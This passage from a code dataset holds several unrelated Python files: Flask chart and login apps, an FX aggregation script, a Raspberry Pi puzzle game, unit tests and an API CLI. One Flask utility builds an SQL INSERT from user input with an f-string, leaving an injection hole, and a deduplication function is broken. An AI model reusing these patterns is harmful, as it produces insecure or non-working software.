\n rfc = dictionary2['rfc1']\n ciudad = dictionary2['city1']\n direccion = dictionary2['dire1']\n c.execute(f\"\"\"INSERT INTO customer(nombre,rfc,ciudad,direccion)\n values ('{nombre}','{rfc}','{ciudad}','{direccion}')\"\"\")\n conn.commit()\n except Exception as e:\n print(e)\n finally:\n conn.close()\n return render_template(\"view2.html\")\n\ndef connection_db():\n conn = sqlite3.connect('sql/producto.db')\n return conn\n\n\n\ndef graphical_product():\n try:\n dateTimeObj = datetime.now()\n conn = connection_db()\n conn.row_factory = lambda cursor, row: row[0]\n c = conn.cursor()\n cantidad = c.execute('select cantidad value from producto').fetchall()\n print(cantidad)\n c = c.execute(\"SELECT nombre FROM producto\")\n lab =c.fetchall()\n print(lab)\n sizes = cantidad\n fig1, ax1 = plt.subplots()\n ax1.pie(sizes,labels=lab,autopct='%1.0f%%',\n shadow=True, startangle=100)\n ax1.axis('equal') \n timeStr = dateTimeObj.strftime(\"%H:%M:%S\")\n print('Current Timestamp : '+ timeStr) \n nombre = \"products\" + timeStr +\".png\"\n plt.savefig(\"static/image/\"+ nombre)\n plt.show()\n return nombre\n except Exception as e:\n print(e)\n finally:\n conn.close()\n\ndef graphical_productsb():\n try:\n dateTimeObj = datetime.now()\n conn = connection_db()\n conn.row_factory = lambda cursor, row: row[0]\n c = conn.cursor()\n cantidad = c.execute('select cantidad value from producto').fetchall()\n c = c.execute(\"SELECT nombre FROM producto\")\n lab =c.fetchall()\n labels = lab\n products = cantidad\n x = np.arange(len(labels)) # the label locations\n width = 0.35 # the width of the bars\n fig, ax = plt.subplots()\n rects1 = ax.bar(x - width/2, products, width, label='Productos')\n # Add some text for labels, title and custom x-axis tick labels, etc.\n ax.set_ylabel('Cantidad')\n ax.set_title('Productos')\n ax.set_xticks(x)\n ax.set_xticklabels(labels)\n ax.legend()\n timeStr = dateTimeObj.strftime(\"%H:%M:%S\")\n print('Current Timestamp : '+ timeStr)\n nombre = \"productbarra\" + timeStr +\".png\"\n for rect in rects1:\n height = rect.get_height()\n ax.annotate('{}'.format(height),\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 3), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom')\n fig.tight_layout()\n plt.savefig(\"static/image/\"+ nombre)\n return nombre\n except Exception as e:\n print(e)\n finally:\n conn.close()\n\ndef graphical_customerspro():\n try:\n conn = connection_db()\n c = conn.cursor()\n resutados_cliente_producto = c.execute(\"\"\"SELECT c.nombre as cliente,\n p.nombre as producto, p.cantidad FROM custom_prod AS cp\n LEFT JOIN customer as c on c.id = cp.customer_id \n LEFT JOIN producto as p on cp.product_id = p.id\"\"\").fetchall()\n productos = c.execute(\"SELECT nombre FROM producto\").fetchall()\n l =[num for elem in productos for num in elem]\n\n clientes = c.execute(\"SELECT nombre FROM customer\").fetchall()\n # Generador que convierte las tuplas en lista \n lista_todos_productos = [value[0] for value in productos]\n cliente_producto = {}\n results = {}\n for cliente in clientes:\n cliente_producto[cliente[0]] = None\n results[cliente[0]] = None \n for cliente in cliente_producto.keys():\n cliente_producto[cliente] = dict.fromkeys(lista_todos_productos, 0)\n for value in resutados_cliente_producto:\n cliente_producto[value[0]][value[1]] = value[2] \n values_clientes = {} \n for value,key in zip(cliente_producto.values(), cliente_producto.keys()):\n values_clientes[key] = list(value.values())\n \n category_names = l\n results = values_clientes\n nombre = survey(results, category_names)\n return nombre\n except Exception as e:\n print(e)\n finally:\n conn.close() \n\ndef survey(results, category_names):\n dateTimeObj = datetime.now()\n labels = list(results.keys())\n data = np.array(list(results.values()))\n data_cum = data.cumsum(axis=1)\n category_colors = plt.get_cmap('RdYlGn')(\n np.linspace(0.15, 0.85, data.shape[1]))\n fig, ax = plt.subplots(figsize=(15, 8))\n ax.invert_yaxis()\n ax.xaxis.set_visible(False)\n ax.set_xlim(0, np.sum(data, axis=1).max())\n for i, (colname, color) in enumerate(zip(category_names, category_colors)):\n widths = data[:, i]\n starts = data_cum[:, i] - widths\n ax.barh(labels, widths, left=starts, height=0.6,\n label=colname, color=color)\n xcenters = starts + widths / 2\n r, g, b, _ = color\n text_color = 'white' if r * g * b < 0.5 else 'darkgrey'\n for y, (x, c) in enumerate(zip(xcenters, widths)):\n ax.text(x, y, str(int(c)), ha='center', va='center',\n color=text_color)\n ax.legend(ncol=len(category_names), bbox_to_anchor=(0, 1),\n loc='lower left', fontsize='small')\n timeStr = dateTimeObj.strftime(\"%H:%M:%S\")\n print('Current Timestamp : '+ timeStr) \n nombre = \"productlista\" + timeStr +\".png\"\n plt.savefig(\"static/image/\"+ nombre) \n return nombre\n\ndef remove():\n filelist=glob.glob(\"static/image/*.png\")\n for file in filelist:\n os.remove(file)\n\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"166875413","text":"import itertools\n\nfrom heuristic.classes import Problem\n\n\ndef strictly_positive_assignment(solver):\n \"\"\"\n Ensures learners are assigned only to modules for which they hold a\n strictly positive preference. This guarantees learners are not assigned\n to modules they are currently ineligible to take.\n \"\"\"\n problem = Problem()\n\n for learner, module in itertools.product(range(len(problem.learners)),\n range(len(problem.modules))):\n preference = problem.preferences[learner, module] \\\n * solver.assignment[learner, module]\n\n grace = solver.B * (1 - solver.assignment[learner, module])\n\n # For each learner and module assignment, the preference for that\n # module needs to be strictly positive - unless the learner is not\n # assigned, in which case we use a grace term to ensure the constraint\n # holds.\n solver.add_constraint(preference + grace >= 0.00001)\n","sub_path":"ilp/constraints/strictly_positive_assignment.py","file_name":"strictly_positive_assignment.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"440799896","text":"class Solution:\r\n # @param {integer[]} nums\r\n # @return {integer}\r\n def removeDuplicates(self, nums):\r\n\r\n if not nums:\r\n return None\r\n\r\n idx0 = 0\r\n\r\n for idx1 in xrange(1, len(nums)):\r\n curr, next = nums[idx - 1], nums[idx]\r\n\r\n if next != curr:\r\n\r\n idx0 += 1\r\n nums[idx0] = nums[idx1]\r\n\r\n return idx0 + 1\r\n","sub_path":"26-removeDuplications.py","file_name":"26-removeDuplications.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"141957999","text":"\"\"\" Compiled: 2019-01-28 14:23:41 \"\"\"\n\n#__src_file__ = \"extensions/fx_aggregation/FFxAggregation.py\"\n#----------------------------------------------------------------------------\n# (c) Copyright 2019 SunGard Front Arena. All rights reserved.\n#----------------------------------------------------------------------------\n\"\"\"----------------------------------------------------------------------------\nMODULE\n FXAggregation - Perform aggregation\n\nDESCRIPTION\n\nNOTE\n\nENDDESCRIPTION\n----------------------------------------------------------------------------\"\"\"\n\nimport acm\n\nimport FBDPGui\nimport importlib\nimportlib.reload(FBDPGui)\n\nScriptName = \"FxAggregation\"\n\nFBDPGui.DefaultVariables.defaults = FBDPGui.Parameters('FBDPParameters',\n 'FxAggregation')\n\nttDeaggregate = \"Open up the positions after the aggregation date.\"\nttDate = ('Specify the aggregation horizon date. Aggregation will be done up '\n 'until and not including this date. If the date is today, '\n 'aggregation will be done for all historical days.')\nttFilter = 'Specify the tradefilters that you want to process.'\nttGrouper = ('Specify a grouper template. If no grouper is selected, a '\n 'default grouping of per portfolio will be used.')\nttMergeAggregate = ('Aggregate the trades including existing '\n 'aggregate trades into a single aggregate trade.')\nttForwardTrades = 'Include forward trades'\nttYearly = 'The number of yearly periods to retain.'\nttMonthly = 'The number of monthly periods to retain.'\nttDaily = 'The number of daily periods to retain.'\nttMaxTrades = ('The maximum number of trades per aggregate trade.')\nttmultiUpdates = (\"Select this check box to perform batch updating \"\n \"while archiving/de-archiving trades. FValidation and FBDPHook will \"\n \"not be called. This will reduce the aggregation processing time.\")\nttMinimumAggregationAmount = ('The minimum number of trades to be open before '\n 'aggregation will take place.')\n\ndef archiveDearchive_cb(index, fieldValues):\n return fieldValues\n\nagg_days = [acm.Time.DateToday(),\n 'Today',\n 'First of Month',\n 'First of Quarter',\n 'First of Year']\n\nael_variables = FBDPGui.FxAggregationVariables(\n # [VariableName,\n # DisplayName,\n # Type, CandidateValues, Default,\n # Mandatory, Multiple, Description, InputHook, Enabled]\n ['deaggregate',\n 'Deaggregate',\n 'int', [0, 1], 0,\n 0, 0, ttDeaggregate, archiveDearchive_cb],\n ['mergeAggTrades',\n 'Merge Aggregate Trades',\n 'int', [0, 1], 0,\n 0, 0, ttMergeAggregate],\n ['date',\n 'Aggregation Date',\n 'string', agg_days, 'Today',\n 1, 0, ttDate],\n ['multiUpdates',\n 'Use batch updates',\n 'int', [1, 0], 0,\n 0, 0, ttmultiUpdates, None, None],\n ['includeForwardTrades',\n 'Include Forward Trades_Periodic',\n 'int', [0, 1], 0,\n 0, 0, ttForwardTrades],\n ['years',\n 'Number of yearly aggregates_Periodic',\n 'int', [0, 1, 2, 3, 4], 0,\n 0, 0, ttYearly],\n ['months',\n 'Number of monthly aggregates_Periodic',\n 'int', [0, 1, 2, 3, 4], 0,\n 0, 0, ttMonthly],\n ['days',\n 'Number of daily aggregates_Periodic',\n 'int', [0, 1, 2, 3, 4], 0,\n 0, 0, ttDaily],\n ['maxTrades',\n 'Maximum number of trades per aggregate_Periodic',\n 'int', [500, 1000, 10000, 50000, 100000], 100000,\n 0, 0, ttMaxTrades],\n ['minAggAmount',\n 'Minimum Open Trades',\n 'int', None, 10,\n 1, 0, ttMinimumAggregationAmount],)\n\n\ndef ael_main(dictionary):\n #Import Front modules\n import FBDPString\n importlib.reload(FBDPString)\n import FBDPCommon\n importlib.reload(FBDPCommon)\n import FFxCommon\n importlib.reload(FFxCommon)\n import FFxAggregatePerform\n importlib.reload(FFxAggregatePerform)\n import FBDPCurrentContext\n\n FBDPCurrentContext.CreateLog(ScriptName,\n dictionary['Logmode'],\n dictionary['LogToConsole'],\n dictionary['LogToFile'],\n dictionary['Logfile'],\n dictionary['SendReportByMail'],\n dictionary['MailList'],\n dictionary['ReportMessageType'])\n\n FBDPGui.setPortfolioGrouper(dictionary)\n FBDPCommon.execute_script(FFxAggregatePerform.perform_aggregation,\n dictionary)\n","sub_path":"Extensions/ABSA_AGGREGATION/FPythonCode/FFxAggregation.py","file_name":"FFxAggregation.py","file_ext":"py","file_size_in_byte":4816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"608650779","text":"# -*- coding: utf-8 -*-\nimport os\nimport pandas as pd\nimport matplotlib.pyplot as plt \n\n######### 建立空dataframe及表 ##########\nplt.style.use(\"classic\")\ndf = pd.DataFrame()\n\n####### 读取数据 #########\nsorted_path = \".\\\\results\\\\\"\nsortedfiles_0 = os.listdir(sorted_path)\nsortedfiles = []\nfor f0 in sortedfiles_0:\n if os.path.isfile(sorted_path+f0):\n if \"_sorted.csv\" in f0:\n sortedfiles.append(f0)\nfor sortedfile in sortedfiles:\n sortedfilename = sortedfile[:-11]\n data = pd.read_table(sorted_path+sortedfilename+'_sorted.csv',delimiter=',')\n df[sortedfilename]=data.iloc[:,[2]]\n\n########## 用matplotlib来画出箱型图 #######\nacc = plt.figure() \nplt.boxplot(x=df.values,\n patch_artist=True,\n boxprops={'color':'black','facecolor':'#9999ff'},\n labels=df.columns,\n whis=1.5)\nplt.title('The sensitivity boxplot')\nplt.ylabel('sensitivity')\nplt.xlabel('descriptor')\nplt.show()\n\n####### 保存图片 ############\nacc.savefig(sorted_path+\"sen.pdf\", bbox_inches='tight')\n \n","sub_path":"机器学习/eef2k/eef2k_boxplot.py","file_name":"eef2k_boxplot.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"314319735","text":"#!/usr/bin/env python3\nfrom time import sleep\nfrom utils import comms\nimport time\nimport os\nimport sys\nimport subprocess\nimport datetime\nimport random\nfrom gpiozero import LED, Button\n\nROUTES = [\n['NewAmsterdam','Capetown','London'],\n['Lima','Capetown','Venice'],\n['Lima','Venice','NewAmsterdam'],\n['London','Capetown','Lima'],\n['Venice','Capetown','NewAmsterdam'],\n['Capetown','Lima','NewAmsterdam'],\n['Venice','London','Lima']\n]\n\nLED_MAPPING = {\n 25 : 'NewAmsterdam',\n 5 : 'Lima',\n 6 : 'BuenosAires',\n 12 : 'London',\n 13 : 'Venice',\n 19 : 'Capetown',\n 26 : 'Ceylon'\n }\n\nHALL_MAPPING = {\n 4 : 'NewAmsterdam',\n 17 : 'Lima',\n 18 : 'BuenosAires',\n 27 : 'London',\n 22 : 'Venice',\n 23 : 'Capetown',\n 24 : 'Ceylon'\n }\n\nTIMEOUT = 60\n\ndef send_signal(message):\n wof = comms.Comms()\n wof.begin('cartography')\n wof.send(message)\n\ndef read_introduction():\n play_static_audio('YouAreTheCaptain.ogg')\n\ndef play_static_audio(file_name):\n root_path = os.getenv('XY_DIR')\n file_path = '%s/audio/%s' % (root_path, file_name)\n subprocess.call(['ogg123',file_path])\n\n\nclass XyChase(object):\n def __init__(self):\n print('A new chase begins')\n self.initiate_buttons()\n self.initiate_leds()\n self.create_mapping()\n self.routes_completed = 0\n self.current_route = random.randint(0,6)\n self.current_destination = 0\n self.route_status = [ 'Uninitiated', 'Uninitiated', 'Uninitiated' ]\n\n\n def initiate_buttons(self):\n self.button1 = Button(4)\n self.button2 = Button(17)\n self.button3 = Button(18)\n self.button4 = Button(27)\n self.button5 = Button(22)\n self.button6 = Button(23)\n self.button7 = Button(24)\n\n def initiate_leds(self):\n self.led1 = LED(25)\n self.led2 = LED(5)\n self.led3 = LED(6)\n self.led4 = LED(12)\n self.led5 = LED(13)\n self.led6 = LED(19)\n self.led7 = LED(26)\n\n def cleanup_hardware(self):\n self.close_buttons()\n self.close_leds()\n\n def close_buttons(self):\n self.button1.close()\n self.button2.close()\n self.button3.close()\n self.button4.close()\n self.button5.close()\n self.button6.close()\n self.button7.close()\n\n def close_leds(self):\n self.led1.close()\n self.led2.close()\n self.led3.close()\n self.led4.close()\n self.led5.close()\n self.led6.close()\n self.led7.close()\n\n def create_mapping(self):\n self.mapping = {\n 'NewAmsterdam' : [self.button1, self.led1],\n 'Lima' : [self.button2, self.led2],\n 'BuenosAires' : [self.button3, self.led3],\n 'London' : [self.button4, self.led4],\n 'Venice' : [self.button5, self.led5],\n 'Capetown' : [self.button6, self.led6],\n 'Ceylon' : [self.button7, self.led7]\n }\n\n def next_destination(self):\n destination = ROUTES[self.current_route][self.current_destination]\n self.route_status[self.current_destination] = 'Completed'\n self.mapping[destination][0].when_pressed = None\n self.mapping[destination][1].off()\n self.current_destination += 1\n\n def pickup_cargo(self):\n destination = ROUTES[self.current_route][self.current_destination]\n cargo_file = 'TakeCargo%s.ogg' % (destination)\n play_static_audio(cargo_file)\n self.mapping[destination][0].when_pressed = self.next_destination\n sleep(0.5)\n self.mapping[destination][1].on()\n self.route_status[self.current_destination] = 'InProgress'\n\n def safe_harbor(self):\n destination = ROUTES[self.current_route][self.current_destination]\n self.deliver_next_cargo()\n play_static_audio('StormAtSea.ogg')\n harbor_file = 'MakeHarbors%s.ogg' % (destination)\n play_static_audio(harbor_file)\n self.mapping[destination][0].when_pressed = self.next_destination\n sleep(0.5)\n self.mapping[destination][1].on()\n self.route_status[self.current_destination] = 'InProgress'\n\n def deliver_cargo(self):\n destination = ROUTES[self.current_route][self.current_destination]\n play_static_audio('SeasHaveCalmed.ogg')\n deliver_file = 'Deliver%s.ogg' % (destination)\n play_static_audio(deliver_file)\n self.mapping[destination][0].when_pressed = self.next_destination\n sleep(0.5)\n self.mapping[destination][1].on()\n self.route_status[self.current_destination] = 'InProgress'\n\n def deliver_next_cargo(self):\n destination = ROUTES[self.current_route][self.current_destination + 1]\n deliver_file = 'Deliver%s.ogg' % (destination)\n play_static_audio(deliver_file)\n self.mapping[destination][1].on()\n sleep(3)\n self.mapping[destination][0].when_pressed = None\n self.mapping[destination][1].off()\n\n def check_game_status(self):\n if self.current_destination < 3 and self.route_status[self.current_destination] == 'Uninitiated':\n route_state = self.route_status[self.current_destination]\n if self.current_destination == 0 and route_state != 'InProgress':\n self.pickup_cargo()\n if self.current_destination == 1 and route_state != 'InProgress':\n self.safe_harbor()\n if self.current_destination == 2 and route_state != 'InProgress':\n self.deliver_cargo()\n\n def lose_game(self):\n play_static_audio('PirateLost.ogg')\n self.cleanup_hardware()\n send_signal('RESET')\n\n def win_game(self):\n play_static_audio('PirateWon.ogg')\n self.cleanup_hardware()\n sleep(2)\n send_signal('CARTDONE')\n\n def begin_game(self):\n read_introduction()\n self.start_time = time.time()\n while True:\n if time.time() - self.start_time > TIMEOUT:\n self.lose_game()\n break\n if self.current_destination == 3:\n self.win_game()\n break\n self.check_game_status()\n\ndef main():\n wof = comms.Comms()\n wof.begin('cartography')\n if len(sys.argv) > 1 and sys.argv[1] == '-l':\n while True:\n chase = XyChase()\n chase.begin_game()\n sleep(5)\n else:\n while True:\n if wof.available():\n (origin, message) = wof.recv()\n if message == 'COMPLETE' and origin == 'zoltar':\n chase = XyChase()\n chase.begin_game()\n\nif __name__==\"__main__\":\n main()\n","sub_path":"xy_chase/xy_chase.py","file_name":"xy_chase.py","file_ext":"py","file_size_in_byte":6747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"452534584","text":"# -*- coding: utf-8 -*-\nimport unittest\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom core.database import db\nfrom core.models import Area, Camp, Member\n\nimport datetime\n\n\n# Database Model에 대한 test case 모음\nclass ModelTest(unittest.TestCase):\n # Area\n # Area.get\n def test_area_get(self):\n area = Area.get(1)\n self.assertEqual('남서울', area.name)\n\n # Area.get_list\n def test_area_get_list(self):\n # Area.get_list(\"*\")\n area_list = Area.get_list(\"*\")\n self.assertTrue(len(area_list) > 0)\n\n # Area.get_list(\"cmc\")\n area_list = Area.get_list(\"cmc\")\n self.assertTrue(len(area_list) > 0)\n\n # Area.get_name\n def test_area_get_name(self):\n area_name = Area.get_name(1)\n self.assertEqual('남서울', area_name)\n\n # Area.get_idx\n def test_area_get_idx(self):\n area_idx = Area.get_idx('12')\n self.assertEqual(1, area_idx)\n\n # Area.insert, Area.update\n def test_area_insert_and_update(self):\n # Area.insert\n Area.insert('test', 1, '*')\n try:\n area = Area.find('test')\n except:\n self.fail('Insert not worked!')\n else:\n self.assertEqual('test', area.name)\n\n # Area.update\n area.name = 'test1'\n area.save()\n self.assertEqual('test1', area.name)\n\n area.delete()\n\n try:\n Area.find('test')\n except:\n self.assertRaises(NoResultFound)\n else:\n self.fail('Area[name=test] not deleted')\n\n try:\n Area.find('test1')\n except:\n self.assertRaises(NoResultFound)\n else:\n self.fail('Area[name=test1] not deleted')\n\n # Camp\n # Camp.get\n def test_camp_get(self):\n camp = Camp.get(1)\n self.assertEqual('cmc', camp.code)\n self.assertEqual(2015, camp.year)\n self.assertEqual(2, camp.term)\n\n # Camp.get_idx\n def test_camp_get_idx(self):\n # camp_idx = Camp.get_idx('cmc')\n # self.assertEqual(13, camp_idx)\n\n camp_idx = Camp.get_idx('cmc', 2015, 2)\n self.assertEqual(1, camp_idx)\n\n # Camp.get_date_list\n def test_camp_get_date_list(self):\n camp = Camp.get(1)\n datelist = camp.get_date_list()\n self.assertEqual(\n [\n datetime.date(2015, 6, 24),\n datetime.date(2015, 6, 25),\n datetime.date(2015, 6, 26),\n datetime.date(2015, 6, 27),\n ],\n datelist\n )\n\n # Member\n # Member.get\n def test_member_get(self):\n member = Member.get(1)\n self.assertEqual('안용숙', member.name)\n\n # Member.find\n def test_member_find(self):\n member = Member.find(6, 'ays8508@gmail.com')\n self.assertEqual('안용숙', member.name)\n self.assertEqual(1, member.idx)\n\n # Member.get_list\n def test_member_get_list(self):\n member_list = Member.get_list(1)\n self.assertEqual(1377, len(member_list))\n\n member_list = Member.get_list(1, group_idx=8)\n self.assertEqual(7, len(member_list))\n\n member_list = Member.get_list(2)\n self.assertEqual(671, len(member_list))\n\n member_list = Member.get_list([1, 2])\n self.assertEqual(2048, len(member_list))\n\n # Member.count\n def test_member_count(self):\n self.assertEqual(1377, Member.count(1))\n self.assertEqual(7, Member.count(1, group_idx=8))\n self.assertEqual(671, Member.count(2))\n self.assertEqual(2048, Member.count([1, 2]))\n\n # Member.check_userid\n def test_member_check_userid(self):\n self.assertTrue(Member.check_userid(6, 'ays8508@gmail.com'))\n self.assertFalse(Member.check_userid(6, 'not a userid'))\n\n # Member.login_check\n\n # Member.cancel\n\n # Member.delete\n\n # Member.get_membership_data\n\n # Member.get_basic_stat\n\n # Member.get_attend_stat\n\n # Member.get_partial_stat\n\n\nunittest.main()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"35554387","text":"# python - problem 5\n\nimport time\nt = time.time()\n\nmaxnum = 20\nprime = list(range(1,maxnum+1))\nmul = 1\n\nfor i in range(2,maxnum+1): # 2부터 시작하기 위해\n for j in range(2,maxnum+1):\n if j!=i and j%i==0:\n prime[j-1] = 1\n\nprime = list(set(prime)) # 소수로만 깔끔하게 리스트를 정리해보려고 해봤음\nprime.remove(1)\n\nfor i in prime:\n px = 0\n mul_temp = 0\n while mul_temp <= maxnum:\n px += 1\n mul_temp = pow(i,px)\n mul *= mul_temp/i\n\nprint(mul)\n\nt = time.time()-t\nprint( \"Spend time :\", t , \"sec\")\n","sub_path":"problem 005.py","file_name":"problem 005.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"587348408","text":"import logging\nimport pathlib\nimport click\nimport itertools\nimport us\n\nimport pydantic\nimport api\nfrom api.can_api_definition import RegionSummaryWithTimeseries\nfrom api.can_api_definition import AggregateRegionSummaryWithTimeseries\nfrom libs import update_readme_schemas\nfrom libs.pipelines import api_pipeline\nfrom libs.datasets import combined_datasets\nfrom libs.datasets.dataset_utils import REPO_ROOT\nfrom libs.datasets.dataset_utils import AggregationLevel\nfrom libs.datasets.dataset_utils import AggregationLevel\nfrom libs.enums import Intervention\n\nPROD_BUCKET = \"data.covidactnow.org\"\n\nAPI_README_TEMPLATE_PATH = REPO_ROOT / \"api\" / \"README.V1.tmpl.md\"\nAPI_README_PATH = REPO_ROOT / \"api\" / \"README.V1.md\"\n\n\n_logger = logging.getLogger(__name__)\n\n\n@click.group(\"api\")\ndef main():\n pass\n\n\n@main.command()\n@click.option(\n \"--output-dir\",\n \"-o\",\n type=pathlib.Path,\n help=\"Output directory to save schemas in.\",\n default=\"api/schemas\",\n)\n@click.option(\n \"--update-readme/--skip-update-readme\",\n type=bool,\n help=\"If true, updates readme with schemas\",\n default=True,\n)\ndef update_schemas(output_dir, update_readme):\n \"\"\"Updates all public facing API schemas.\"\"\"\n schemas = api.find_public_model_classes()\n for schema in schemas:\n path = output_dir / f\"{schema.__name__}.json\"\n _logger.info(f\"Updating schema {schema} to {path}\")\n path.write_text(schema.schema_json(indent=2))\n\n if update_readme:\n _logger.info(f\"Updating {API_README_PATH} with schema definitions\")\n # Generate a single schema with all API schema definitions.\n can_schema = pydantic.schema.schema(schemas)\n schemas = update_readme_schemas.generate_markdown_for_schema_definitions(can_schema)\n update_readme_schemas.generate_api_readme_from_template(\n API_README_TEMPLATE_PATH, API_README_PATH, schemas\n )\n\n\n@main.command()\n@click.option(\n \"--input-dir\",\n \"-i\",\n default=\"results\",\n help=\"Input directory of state projections\",\n type=pathlib.Path,\n)\n@click.option(\n \"--output\",\n \"-o\",\n default=\"results/output/states\",\n help=\"Output directory for artifacts\",\n type=pathlib.Path,\n)\n@click.option(\n \"--summary-output\",\n default=\"results/output\",\n help=\"Output directory for state summaries.\",\n type=pathlib.Path,\n)\n@click.option(\"--aggregation-level\", \"-l\", type=AggregationLevel)\n@click.option(\"--state\")\n@click.option(\"--fips\")\ndef generate_api(input_dir, output, summary_output, aggregation_level, state, fips):\n \"\"\"The entry function for invocation\"\"\"\n\n active_states = [state.abbr for state in us.STATES]\n active_states = active_states + [\"PR\"]\n us_latest = combined_datasets.load_us_latest_dataset().get_subset(\n aggregation_level, state=state, fips=fips, states=active_states\n )\n us_timeseries = combined_datasets.load_us_timeseries_dataset().get_subset(\n aggregation_level, state=state, fips=fips, states=active_states\n )\n\n for intervention in list(Intervention):\n _logger.info(f\"Running intervention {intervention.name}\")\n all_timeseries = api_pipeline.run_on_all_fips_for_intervention(\n us_latest, us_timeseries, intervention, input_dir\n )\n county_timeseries = [\n output for output in all_timeseries if output.aggregate_level is AggregationLevel.COUNTY\n ]\n api_pipeline.deploy_single_level(intervention, county_timeseries, summary_output, output)\n state_timeseries = [\n output for output in all_timeseries if output.aggregate_level is AggregationLevel.STATE\n ]\n api_pipeline.deploy_single_level(intervention, state_timeseries, summary_output, output)\n\n\n@main.command(\"generate-top-counties\")\n@click.option(\n \"--disable-validation\", \"-dv\", is_flag=True, help=\"Run the validation on the deploy command\"\n)\n@click.option(\n \"--input-dir\", \"-i\", default=\"results\", help=\"Input directory of state/county projections\"\n)\n@click.option(\n \"--output\",\n \"-o\",\n default=\"results/top_counties\",\n help=\"Output directory for artifacts\",\n type=pathlib.Path,\n)\n@click.option(\"--state\")\n@click.option(\"--fips\")\ndef generate_top_counties(disable_validation, input_dir, output, state, fips):\n \"\"\"The entry function for invocation\"\"\"\n intervention = Intervention.SELECTED_INTERVENTION\n active_states = [state.abbr for state in us.STATES] + [\"PR\"]\n us_latest = combined_datasets.load_us_latest_dataset().get_subset(\n AggregationLevel.COUNTY, states=active_states, state=state, fips=fips\n )\n us_timeseries = combined_datasets.load_us_timeseries_dataset().get_subset(\n AggregationLevel.COUNTY, states=active_states, state=state, fips=fips\n )\n\n def sort_func(output: RegionSummaryWithTimeseries):\n return -output.projections.totalHospitalBeds.peakShortfall\n\n all_timeseries = api_pipeline.run_on_all_fips_for_intervention(\n us_latest,\n us_timeseries,\n Intervention.SELECTED_INTERVENTION,\n input_dir,\n sort_func=sort_func,\n limit=100,\n )\n bulk_timeseries = AggregateRegionSummaryWithTimeseries(__root__=all_timeseries)\n\n api_pipeline.deploy_json_api_output(\n intervention, bulk_timeseries, output, filename_override=\"counties_top_100.json\"\n )\n _logger.info(\"Finished top counties job\")\n","sub_path":"cli/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"582331613","text":"import sys, boto3, random\nimport random\nfrom datetime import datetime, timedelta\nimport ast\nimport json\nimport os\nfrom flask import render_template, url_for, flash, redirect, request, abort, jsonify \nfrom app import app, db, bcrypt, socketio, login\nfrom flask_login import LoginManager, login_user, current_user, logout_user, login_required\nfrom forms import LoginForm\nfrom pprint import pprint\nfrom models import *\nfrom flask_socketio import SocketIO, join_room, leave_room, send, emit\n\ndef json_path(file):\n SITE_ROOT = os.path.realpath(os.path.dirname(__file__))\n json_path = os.path.join(SITE_ROOT, \"static/json_files\", file) \n return json_path\n\ndef set_environment():\n if current_user.is_authenticated:\n course = User.query.filter_by(username=current_user.username).first().test \n courseDict ={\n 'FRD_2_2': [GamesFRD, 'FRD_defs_02-2.json', '_FRD'],\n 'WPE_2_2': [GamesWPE, 'WPE_defs_02-2.json', '_WPE'],\n 'FRD_2_1': [GamesFRD, 'FRD_defs_02-1.json', '_FRD'],\n 'WPE_2_1': [GamesWPE, 'WPE_defs_02-1.json', '_WPE'], \n 'FRD_1_1': [GamesFRD, 'FRD_defs_01-1.json', '_FRD'],\n 'WPE_1_1': [GamesWPE, 'WPE_defs_01-1.json', '_WPE'], \n 'FRD_1_2': [GamesFRD, 'FRD_defs_01-2.json', '_FRD'],\n 'WPE_1_2': [GamesWPE, 'WPE_defs_01-2.json', '_WPE'], \n }\n Games = courseDict[course][0]\n jDict = courseDict[course][1]\n roomTag = courseDict[course][2]\n victories = courseDict[course][0].query.filter_by(winner=current_user.studentID).count()\n\n return [Games, jDict, roomTag, victories]\n\n \n\n\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for('home'))\n form = LoginForm()\n\n if form.validate_on_submit():\n user = User.query.filter_by(studentID=form.studentID.data).first()\n if user:\n login_user(user)\n user.username = form.username.data\n user.test = form.vocab.data\n db.session.commit()\n else:\n new_user = User(username=form.username.data, studentID=form.studentID.data, test=form.vocab.data)\n db.session.add(new_user)\n db.session.commit()\n user = User.query.filter_by(username=form.username.data).first()\n login_user(user) \n flash(f'Logged In', 'secondary')\n return redirect(url_for('home')) \n \n return render_template('login.html', title='Login', form=form)\n\n@app.route(\"/logout\", methods=['GET'])\ndef logout():\n\n # Logout user\n logout_user()\n flash('You have logged out successfully', 'success')\n return redirect(url_for('home'))\n\n@app.route(\"/\", methods=['GET', 'POST'])\n@app.route(\"/home\", methods=['GET', 'POST'])\ndef home(): \n\n if current_user.is_authenticated: \n v = set_environment()[3]\n else:\n v = None\n\n\n return render_template(\"home.html\", victories = v)\n\n@app.route('/waiting', methods=['POST'])\ndef waiting(): \n Games = set_environment()[0] \n\n count = Games.query.filter_by(gameSet=0).count()\n print ('Waiting', count)\n games = Games.query.filter_by(gameSet=1).count()\n game_records = Games.query.filter_by(gameSet=1).all()\n \n print ('GAMES', games)\n\n home = request.form ['home'] \n \n return jsonify({'count' : count , 'games' : games }) \n\n\n@app.route(\"/fight\", methods=['GET', 'POST'])\ndef fight():\n \n if not 